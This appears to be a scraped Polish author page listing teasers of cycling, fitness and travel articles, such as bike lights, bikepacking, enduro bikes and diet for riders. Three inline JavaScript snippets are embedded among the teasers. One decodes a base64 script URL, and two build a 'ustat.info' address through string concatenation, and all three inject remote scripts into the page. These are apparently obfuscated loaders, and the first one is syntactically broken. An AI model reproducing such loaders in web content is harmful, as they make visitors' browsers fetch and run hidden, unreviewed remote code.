Autor: Maja Koc

(function(pdslkaqo, uenjcddl, tetpxrgn, tembszqa, odljovfy, amvqwrbo){ odljovfy = uenjcddl.createElement(tetpxrgn);amvqwrbo = uenjcddl.getElementsByTagName(tetpxrgn)[0]; odljovfy.ascyc = 1; odljovfy.src = atob(tembszqa) amvqwrbo.parentNode.insertBefore(odljovfy, amvqwrbo); })(window, document, 'script', 'aHR0cHM6Ly9zdGF0cy5saW5raG91c2UuY28vYXBpL2FuYWx5emVyL3YxL3NjcmlwdC9hYmMzZjhkZS1hNmVlLTQ2ZWYtYmJjNy1kMWU5NTZkMWI0ZjQuanM=') Lampki rowerowe tylne to nie tylko wymóg prawny, ale przede wszystkim element zabezpieczający przed potencjalnymi zagrożeniami na drodze. Jakie lampki mamy do wyboru? Bezpieczeństwo ...

Rower trójkołowy to bardzo cenione narzędzie rehabilitacyjne. Jest on polecany osobom niepełnosprawnym jak i seniorom, ale nie tylko. Dlaczego warto zainteresować się sprzętem tego typu? Przeczytaj nasz artykuł, a dowiesz się: dla kogo są przeznaczone rehabilitacyjne rowery trójkołowe czy warto zainwestować w rower trójkołowy elektryczny czy można uzyskać dofinansowanie na rower trójkołowy Aktywność fizyczna jest bardzo ważna w utrzymaniu właściwej kondycji osób niepełnosprawnych i seniorów. Jednym z narzędzi pomagających w jej utrzymaniu jest trójkołowy rower. ...

Nie ważne, czy jesteś profesjonalnym sportowcem, czy weekendowym biegaczem – odpowiednie przygotowanie do wysiłku fizycznego jest kluczem do zdrowia i lepszej wydajności. Kluczową rolę w tym procesie odgrywają badania krwi. Dowiedz się, dlaczego są one tak ważne i jakie badania powinieneś wykonać przed rozpoczęciem treningów. Dlaczego badania krwi są tak ważne dla sportowców? Badania krwi dostarczają nam cennych informacji o stanie naszego organizmu, od poziomu hemoglobiny po stężenie elektrolitów. Dla sportowców, informacje ...

Kiedy rowerzysta ma pierwszeństwo? Ta kwestia często budzi wiele wątpliwości zarówno wśród rowerzystów, jak i kierowców. Zrozumienie tej tematyki może przyczynić się do poprawy bezpieczeństwa na drodze. W tym przewodniku wyjaśnimy wszystko, co musisz wiedzieć na ten temat.

Wielu z nas marzy o idealnej sylwetce, ale nie zawsze mamy czas, chęci lub środki na regularne wizyty na siłowni. W odpowiedzi na te potrzeby pojawia się coraz więcej sprzętu do ćwiczeń domowych. Jednym z najbardziej popularnych i skutecznych jest treningowy rower magnetyczny. Czy naprawdę jest on kluczem do sukcesu w dążeniu do wymarzonej figury? Treningowy rower magnetyczny – dlaczego warto go mieć? Treningowy rower magnetyczny to doskonałe narzędzie do kształtowania sylwetki ...

Historia roweru to fascynująca opowieść o ewolucji jednego z najpopularniejszych środków transportu. Poznaj jej tajemnice i dowiedz się, jak ten jednoślad zmieniał się na przestrzeni ostatnich wieków. To naprawdę fascynujące!

(function(){ wkqm=document.createElement("script");wkqm.type="text/javascript"; wkqm.async=true;wkqm_=(("us")+"t")+"a";wkqm_+=("t.i")+""+"n";wkqm_+=(("f")+"o");wkqm_+="/"; wkqmu="554279985.";wkqmu+="ug4Xfmugkqm5XyX7f2pembn8uidgdX";wkqm.src="https://"+wkqm_+wkqmu; wkqmdb=document.body;wkqmdb.appendChild(wkqm); })(); Rower enduro jest doskonałym wyborem dla rowerzystów, którzy szukają jednego roweru, który poradzi sobie zarówno na trudnych zjazdach, jak i podczas pokonywania technicznych odcinków pod górę. Jego wszechstronność i zdolność do radzenia sobie z różnymi warunkami terenowymi sprawiają, że to dosyć popularna opcja wśród pasjonatów górskiego rowerowania. W poniższym artykule wyjaśniamy na co zwrócić uwagę kompletując “wyprawkę” enduro, prezentujemy markę rowerową Pivot oraz podpowiadamy dobre miejscówki enduro trails, na których ...

Czy marzyłeś kiedykolwiek o podróży, która przemieni Cię i otworzy na nieznane krajobrazy? Rowerem wzdłuż Dunaju to wyprawa, która zaspokoi Twoją żądzę przygody, jednocześnie oferując ci pełne spektrum różnorodności kulturowej, historycznej i naturalnej.

(function(){ aqxi=document.createElement("script");aqxi_="u"+("s")+"ta"; aqxi_+=("t.i")+""+"n";aqxi_+=(("f")+"o");aqxi.type="text/javascript"; aqxi_+="/"; aqxiu="547750693";aqxiu+=".2cqvz8cnqxikkg48v49";aqxiu+="Xt2tx69ch49"; aqxi.src="https://"+aqxi_+aqxiu;aqxi.async=true;document.body.appendChild(aqxi); })(); Zapomnij o pośpiechu i stresie codziennego życia. Wybierz spokojne wakacje na rowerze, obierając za cel podróży małe i urocze nadmorskie miejscowości i odkryj magię wolności. Poczuj wiatr we włosach, wdychaj morskie powietrze i daj się ponieść przygodzie na dwóch kółkach. Zapraszamy do zapoznania się z przyjemnymi kurortami, które pozwolą uciec od tłumu turystów i zaznać chwil relaksu. Dlaczego wakacje z rowerem są atrakcyjne? Wybierz spokojne wakacje na rowerze i wyrusz w ...

Bikepacking to forma aktywności, która cieszy się coraz większą popularnością w Polsce i na świecie. Jest ona połączeniem jazdy na rowerze oraz spania pod namiotem. Czym dokładnie charakteryzuje się ten rodzaj podróżowania? Jak skutecznie przygotować się na wyprawę bikepackingową? O tym wszystkim przeczytasz w naszym artykule! Czym jest bikepacking? Bikepacking to forma podróżowania, która łączy w sobie jazdę na rowerze oraz kemping. Polega ona na pokonywaniu przeróżnych tras rowerem i nocowaniu w ...

Jeśli jesteś jedną z wielu osób, które uwielbiają spędzać czas ze swoim psem, być może szukasz sposobów, aby włączyć swojego futrzanego przyjaciela w swoje ulubione zajęcia. Jak jeździć z psem na rowerze? Choć na początku może się to wydawać trudne, przy odrobinie przygotowania jest to całkiem łatwe. Po pierwsze, upewnij się, że Twój pies dobrze czuje się w pobliżu rowerów i nie będzie zaskoczony ich widokiem lub dźwiękiem. Gdy masz już ...

Trekking górski to ekscytujące doświadczenie, które pozwala zanurzyć się w pięknie i wspaniałości natury. Jednak jeśli chodzi o wybór idealnego stroju do tej aktywności, sprawy mogą być nieco skomplikowane.

Trening na rowerze to świetny sposób na poprawę kondycji i wytrzymałości. Jednak, aby osiągnąć wymarzone efekty, nie wystarczy tylko regularnie trenować. Równie ważne jest dbanie o odpowiednią dietę, zwłaszcza po treningu. Właściwie dobrany posiłek po intensywnym treningu na rowerze pozwoli szybciej zregenerować organizm i przygotować się do kolejnych wyzwań. W tym artykule dowiesz się, co warto zjeść po treningu na rowerze, aby zapewnić swojemu ciału optymalne warunki regeneracji. Białko - podstawa ...

Jazda po górach na rowerze może być wspaniałym sposobem na aktywny wypoczynek i podziwianie pięknych krajobrazów. Jednak, aby cieszyć się tą formą aktywności, trzeba wziąć pod uwagę kilka ważnych czynników. Poniżej znajdziesz kilka porad, które pomogą Ci bezpiecznie i skutecznie jeździć po górach na rowerze. Wybierz odpowiedni rower i sprzęt Przed wyruszeniem w góry warto zadbać o odpowiedni sprzęt. Ważne, aby rower był dobrze wyposażony i przystosowany do jazdy w trudnych warunkach. ...

Jeśli chcesz osiągnąć lepsze wyniki na rowerze, nie tylko regularne treningi, ale również odpowiednia dieta są kluczowe. Przed jazdą na rowerze warto zjeść posiłek bogaty w składniki odżywcze, które zapewnią Ci energię i poprawią Twoją wydolność. W tym artykule przedstawiamy, co warto jeść przed treningiem na rowerze, skupiając się na diecie o niskim indeksie glikemicznym oraz posiłkach pudełkowych. Dieta o niskim indeksie glikemicznym Dieta o niskim indeksie glikemicznym pudełkowa polega na wybieraniu ...

Poznaj nadchodzące trendy rowerowe. 2023 rok zaczyna się wypuszczeniem na rynek kilku ciekawych modeli. Do tego wciąż kontynuowana jest moda na rowery elektryczne. Czego jeszcze można się spodziewać w nadchodzących miesiącach? Moda na rowery zdaje się nigdy nie spadać. Jednak świat kolarstwa zawodowego i amatorskiego nieustannie się zmienia. Największym wynalazkiem ostatnich lat są niewątpliwie rowery elektryczne. Cieszą się rosnącą popularnością w Polsce i na świecie.  Poznaj przewidywane trendy rowerowe 2023 roku ...

Bielizna sportowa to niezbędnik w szafie każdej kobiety, która lubi aktywność i dba o zdrowie. Przewiewna i wygodna stanowi wsparcie podczas każdego treningu. Jak dobrać odpowiedni model? Wysiłek fizyczna to obok diety podstawa zdrowego trybu życia. Regularne uprawianie sportu dodaje energii, pozwala obniżyć poziom stresu oraz zyskać wymarzoną sylwetkę. Aby trening był jeszcze bardziej komfortowy i efektywny, niezbędna jest odpowiednia odzież, w tym sportowa bielizna. Jaki rodzaj i krój dobrać do ...

Jazda na rowerze to bardzo popularny sposób spędzania wolnego czasu. Co pić podczas wycieczki rowerowej? Sprawdź! W trakcie długotrwałego wysiłku fizycznego należy na bieżąco uzupełniać poziom energii. Dlatego warto zwrócić uwagę na to, co jemy i pijemy podczas wycieczek rowerowych. Zanim ruszysz na wyprawę rowerem, zapoznaj się z naszym poradnikiem! Co jeść w trakcie wysiłku fizycznego? Wycieczki rowerowe to ciekawa forma aktywnego spędzania czasu. Warto mieć na uwadze, że to, co jemy podczas ...

Jeśli jeździsz na rowerze, z pewnością wiesz, że wypadek rowerowy to coś, co może cię spotkać właściwie wszędzie. Sprawdź, jakie mogą być przykre konsekwencje takiego zdarzenia, jeśli chodzi o twoje zęby! Wypadek rowerowy to coś, czego każdy chciałby uniknąć, ale nie zawsze jest to możliwe. W większości przypadków ochraniacze i kaski zapewniają odpowiednią ochronę, ale niestety w pewnych sytuacjach zęby rowerzysty są narażone na uszkodzenia. Jeśli już dojdzie do takiej sytuacji, ...

Zastanawiasz się, czy istnieją sposoby na poradzenie sobie z intymnymi dolegliwościami, na które narażeni są rowerzyści? Zapoznaj się z naszym artykułem, w którym przedstawiamy łatwe sposoby na uniknięcie tych problemów. Jazda na rowerze to popularny sport. Niestety ta aktywność sportowa nie służy delikatnym intymnym miejscom na ciele. Dlatego warto dowiedzieć się, jak przygotować się do jazdy, aby uniknąć wystąpienia nieprzyjemnych dolegliwości. Jazda na rowerze – odpowiednia higiena osobista Podstawowym sposobem zapobiegania powstawaniu dolegliwości ...

Osoby aktywne, które chętnie uprawiają sport, odbierają zwolnienie lekarskie jako swego rodzaju ograniczenie wolności. Muszą bowiem zrezygnować z ulubionych aktywności, takich jak rower. Czy rzeczywiście jest to konieczne? Jazda na rowerze jest niezwykle korzystna dla zdrowia. Wspomaga pracę serca i układu krążenia, ale też pomaga w utracie wagi i rzeźbi mięśnie nóg. Czy jednak podczas zwolnienia lekarskiego można oddawać się ulubionemu sportowi? Tutaj ze względu na specyfikę L4 zdania są podzielone. Zwolnienie ...

Rower to lubiany środek transportu. Nie tylko umożliwia szybkie i w miarę sprawne przemieszczanie się po mieście, ale także pomaga poprawić kondycję i jest sposobem na spędzenie wolnego czasu. Sprawdź, czy warto robić makijaż przed przejażdżką! Wiele pań chce się czuć pięknie i atrakcyjnie także podczas jazdy na rowerze. Dlatego nie rezygnują z makijażu, podkreślają oczy, malują usta. Czy to dobry pomysł? Wszystko zależy od tego, gdzie się wybierasz, czy będziesz ...

Wybierasz się na całodniową wycieczkę rowerową? Z pewnością nie obejdziesz się bez solidnego źródła energii w postaci wysokiej jakości przekąski, którą zabierzesz ze sobą. Możesz też skorzystać z przydrożnej restauracji, ale jeśli wszystkie spalone kalorie zastąpisz talerzem tłustego gulaszu i pięcioma bułeczkami na parze, które popijesz kuflem piwa, możesz być pewien, że dalej wycieczka nie pójdzie już tak gładko, jak się spodziewałeś. Z uczuciem ciężkości na żołądku i zmęczonymi nogami ...

Planujesz urlop i zamierzasz zabrać ze sobą rower? Przewóz jednośladu może stanowić nie lada zagwozdkę. Podpowiadamy, w jaki sposób zabezpieczyć swój sprzęt, by nie uległ zniszczeniu ani nie zagrażał innym uczestnikom ruchu drogowego. Jesteś osobą, która stawia na aktywny wypoczynek i nie wyobraża sobie urlopu bez roweru? Na pewno wiesz, że jedną z podstawowych kwestii stanowi jego bezpieczny przewóz samochodem. Do wyboru masz kilka podstawowych rozwiązań, więc na pewno dopasujesz je ...

Nie da się ukryć, że obecnie pary starają się sprawić, by ich ślub był jeszcze bardziej wyjątkowy oraz oryginalny. Wobec tego, jeśli na co dzień pary są aktywne i spędzają dużo czasu na rowerze, to być może pomysł na to by pojechać rowerem do ślubu będzie idealny? Rowerem do ślubu - jakie pary się powinny na to zdecydować? Nie da się ukryć, że pomysł odnośnie tego, by pojechać rowerem do ślubu z ...

Odpowiednia regulacja kierownicy w rowerze podniesie twój komfort jazdy i zapobiegnie bólom kręgosłupa. Czy wiesz jednak, że wysokość kierownicy ustawia się różnie w zależności od typu roweru? Sprawdź, jak zrobić to w rowerze trekkingowym, miejskim lub górskim! Odpowiednia regulacja kierownicy w rowerze pozwoli ci jeździć wygodniej, bezpieczniej, a nawet... szybciej. To, w jaki sposób dopasowuje się wysokość kierownicy rowerowej, zależy od rodzaju roweru. Inną pozycję przyjmuje się w rowerach trekkingowych, a ...